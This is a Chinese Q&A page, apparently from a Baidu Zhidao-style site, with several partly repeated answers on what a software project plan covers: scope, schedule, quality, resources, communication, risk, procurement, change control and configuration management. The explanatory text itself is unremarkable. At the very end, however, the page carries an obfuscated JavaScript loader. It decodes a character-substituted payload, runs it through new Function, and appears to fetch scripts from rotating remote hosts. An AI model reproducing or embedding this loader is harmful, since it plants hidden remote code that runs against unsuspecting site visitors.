推荐回答(4个)
项目计划要列出软件开发要做的主要工作和任务清单,要回答“软件工程项目做什么”。 在工作和任务清单中要清楚地描述出:
1、项目划分的各个实施阶段;
2、每个阶段的工作重点和任务是什么;
3、完成本阶段工作和任务的人力、资源需求,时间期限;
4、阶段工作和任务的成果形式;
5、项目实施过程中对风险、疑难、其他不可预见因素等的处理机制;
6、各任务组及开发人员之间的组织、协调关系等。

扩展资料:
特点
1、弹性和可调性:即能够根据预测到的变化和实际存在的差异,及时作出调整。
2、创造性:充分发挥和利用想象力和抽象思维的能力,满足项目发展的需要。
3、分析性:也就是要探索研究项目中内部和外部的各种因素,确定各种变量和分析不确定的原因。
4、响应性:即能及时地确定存在的问题,提供计划的多种可行方案。
参考资料来源:百度百科-项目计划
有具体以下内容:
(1) 项目范围计划。
阐述进行这个项目的原因或意义,形成项目的基本框架,使项目所有者或项目管理者能够系统、逻辑地分析项目关键问题及项目形成中的相互作用要素,使项目干系人在项目开始实施前或项目相关文档编写以前,能够就项目的基本内容和结构达成一致;
项目范围说明应当形成项目成果核对清单,作为项目评估的依据;范围说明还可以作为项目整个生命周期监控和考核项目实施情况的基础及项目其他相关计划的基础。
(2) 项目进度计划。
进度计划是说明项目中各项工作的开展顺序、开始时间、完成时间及相互依赖衔接关系的计划。进度计划是进度控制和管理的依据,可以分为项目进度控制计划和项目状态报告计划。
(3) 项目质量计划。
质量计划针对具体待定的项目,安排质量监控人员及相关资源,规定使用哪些制度、规范、程序和标准。项目质量计划应当包括和保证与控制项目质量有关的所有活动。
(4) 项目资源计划。
决定在项目中的每一项工作中用什么样的资源(人、材料、设备、信息和资金等),在各个阶段使用多少资源。项目费用计划包括资源计划、费用估算和费用预算。
(5) 项目沟通计划。
沟通计划就是制订项目过程中项目干系人之间信息交流的内容,人员范围,沟通方式,沟通时间或频率等沟通要求的约定。
(6) 风险计划。
风险计划就是为了降低风险的损害而分析风险、制订风险应对策略方案的过程。包括识别风险,量化风险和编制风险应对策略方案的过程。
(7) 项目采购计划。
项目采购计划过程就是识别哪些项目需求应通过从本企业外部采购产品或设备来得到满足。
(8) 变更控制计划
变更控制计划主要是规定变更的步骤、程序。
(9) 配置管理计划。
配置管理计划就是确定项目的配置项和基线,控制配置项的变更,维护基线的完整性,向项目干系人提供配置项的准确状态和当前配置数据。

扩展资料
项目计划作为项目管理的重要阶段,在项目中起承上启下的作用,因此在制定过程中要按照项目总目标、总计划进行详细计划。计划文件经批准后作为项目的工作指南。
因此,在项目计划制订过程中一般应遵循以下六个原则:
(1)目的性。任何项目都是一个或几个确定的目标,以实现特定的功能、作用和任务,而任何项目计划的制定正是围绕项目目标的实现展开的。在制定计划时,首先必须分析目标,弄清任务。因此项目计划具有目的性。
(2)系统性。项目计划本身是一个系统,由一系列子计划组成,各个子计划不是孤立存在的,彼此之间相对独立,又紧密相关.从而使制定出的项目计划也具有系统的目的性、相关性、层次性、适应性、整体性等基本特征,使项目计划形成有机协调的整体。
(3)经济性。项目计划的目标不仅要求项目有较高的效率,而且要有较高的效益。所以在计划中必须提出多种方案进行优化分析。
(4)动态性。这是由项目的寿命周期所决定的。
一个项目的寿命周期短则数月,长则数年,在这期间,项目环境常处于变化之中,使计划的实施会偏离项目基准计划,因此项目计划要随着环境和条件的变化而不断调整和修改,以保证完成项目目标,这就要求项目计划要有动态性,以适应不断变化的环境。
(5)相关性。项目计划是一个系统的整体,构成项目计划的任何子计划的变化都会影响到其他子计划的制定和执行,进而最终影响到项目计划的正常实施。制定项目计划要充分考虑各子计划间的相关性。
(6)职能性。项目计划的制定和实施不是以某个组织或部门内的机构设置为依据,也不是以自身的利益及要求为出发点,而是以项目和项目管理的总体及职能为出发点,涉及到项目管理的各个部门和机构。
项目计划的方针:
1、不应过分拘泥于细节,主要目的是制定出一份能够获得干系人批准、总体结构准确且具有指导意义的项目计划书。计划的完善是一项贯穿于整个项目生命周期的持续改进过程。
2、短期计划和长期计划相结合,短期计划需要做出周密的规划,长期计划只需要给出指导性规划即可。
3、项目计划的确定可以采用目标管理法,强调上下交互来制定项目的目标和任务,首先由项目经理根据项目的章程把项目的整体计划制定出来,然后由项目成员根据项目的整体计划来指导个人任务的制定,通过协商式、小规模的群体讨论来确定个人的任务。
这种参与能够增加团队成员的责任感,有利于项目工作的开展。
不可忽视的重要信息:
1、组织架构图、各部门的职能、各关键部门的经理和部分成员。项目经理可以通过翻阅流程文件了解各个部门之间的业务依赖关系和配合方式。
2、历时经验。
3、制约因素(包括成本制约,人力资源制约)。
4、项目实施中的假设信息。
项目干系人的要求在项目初期阶段往往是模糊的,不同的干系人之间对项目的期望往往不尽相同甚至是相互矛盾的。
作为项目经理在制定项目计划的时候要充分认识到这一点,从一开始就要清晰地定义项目,并注意平衡不同的项目关键干系人之间的需求。制定的项目计划书一定要得到项目关键干系人的正式书面批准。
参考资料:百度百科——项目计划
(1)项目背景。例如,项目名称、客户名称、项目的商业目的等。 (2)项目经理、项目经理的主管领导、客户方联系人、客户方的主管领导,项目领导小组(即项目管理团队)和项目实施小组人员。 (3)项目的总体技术解决方案。 (6)项目管理团队进行剪裁的结果,包括: ·项目管理团队所选择的项目管理过程; ·每个所选过程的执行水平; ·对这些过程所需的工具与技术的描述; (9)干系人的沟通需求和适用的沟通技术。 (10)为处理未决事宜和制定决策所需开展的关键管理评审,以便审查相关内容、严重程度和紧迫程度。 项目管理计划可以是概要的或详细的,并且还可以包含一个或多个分计划。根据PMBOK指南的规定,项目管理计划包括一系列的管理计划,再加上项目基准,即: ·属于项目范围管理知识领域的:需求管理计划、范围管理计划、范围基准。 ·属于项目时间管理知识领域的:进度管理计划、进度基准。 ·属于项目成本管理知识领域的:成本管理计划、成本绩效基准。 ·属于项目质量管理知识领域的:质量管理计划、过程改进计划。 ·属于项目人力资源管理知识领域的:人力资源计划。 ·属于项目沟通管理知识领域的:沟通管理计划。 ·属于项目风险管理知识领域的:风险管理计划。 ·属于项目采购管理知识领域的:采购管理计划。 也就是说,项目管理计划作为项目的一个总体计划,包括了项目管理8大知识领域(即整合管理除外的所有知识领域)的所有计划作为它的子计划。另外,一份完整的项目管理计划应该还要包括计划编制所依据的基本资料(或基本资料目录)。这些基本资料是计划编制工作的基础,称为支持细节,例如,假设条件、计划编制所用的基本方法等。 在项目管理领域,基准是一个十分重要的词汇,考生必须掌握。基准是一份经过批准的项目管理计划加上(或减去)经批准的变更,以便作为比较的基础,据此考核项目执行情况的好坏,确定实际绩效是否在可接受的偏差范围内。如果要对基准进行变更,只有变更控制委员会才有权力批准,项目经理无权批准。常见的基准包括范围基准(包括范围说明书、工作分解结构和工作分解结构词典)、进度基准、成本绩效基准和技术基准(即质量基准),以及综合性的绩效测量基准。范围基准、进度基准和成本绩效基准整合起来,形成绩效测量基准,但绩效测量基准有时也可以包括技术基准
(1) 项目范围计划。
阐述进行这个项目的原因或意义,形成项目的基本框架,使项目所有者或项目管理者能够系统、逻辑地分析项目关键问题及项目形成中的相互作用要素,使项目干系人在项目开始实施前或项目相关文档编写以前,能够就项目的基本内容和结构达成一致;
项目范围说明应当形成项目成果核对清单,作为项目评估的依据;
范围说明还可以作为项目整个生命周期监控和考核项目实施情况的基础及项目其他相关计划的基础。
(2) 项目进度计划。
进度计划是说明项目中各项工作的开展顺序、开始时间、完成时间及相互依赖衔接关系的计划。
进度计划是进度控制和管理的依据,可以分为项目进度控制计划和项目状态报告计划。
(3) 项目质量计划。
质量计划针对具体待定的项目,安排质量监控人员及相关资源,规定使用哪些制度、规范、程序和标准。
项目质量计划应当包括和保证与控制项目质量有关的所有活动。
(4) 项目资源计划。
决定在项目中的每一项工作中用什么样的资源(人、材料、设备、信息和资金等),在各个阶段使用多少资源。
项目费用计划包括资源计划、费用估算和费用预算。
(5) 项目沟通计划。
沟通计划就是制订项目过程中项目干系人之间信息交流的内容,人员范围,沟通方式,沟通时间或频率等沟通要求的约定。
(6) 风险计划。
风险计划就是为了降低风险的损害而分析风险、制订风险应对策略方案的过程。
包括识别风险,量化风险和编制风险应对策略方案的过程。
(7) 项目采购计划。
项目采购计划过程就是识别哪些项目需求应通过从本企业外部采购产品或设备来得到满足。
(8) 变更控制计划
变更控制计划主要是规定变更的步骤、程序。
(9) 配置管理计划。
配置管理计划就是确定项目的配置项和基线,控制配置项的变更,维护基线的完整性,向项目干系人提供配置项的准确状态和当前配置数据。
!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();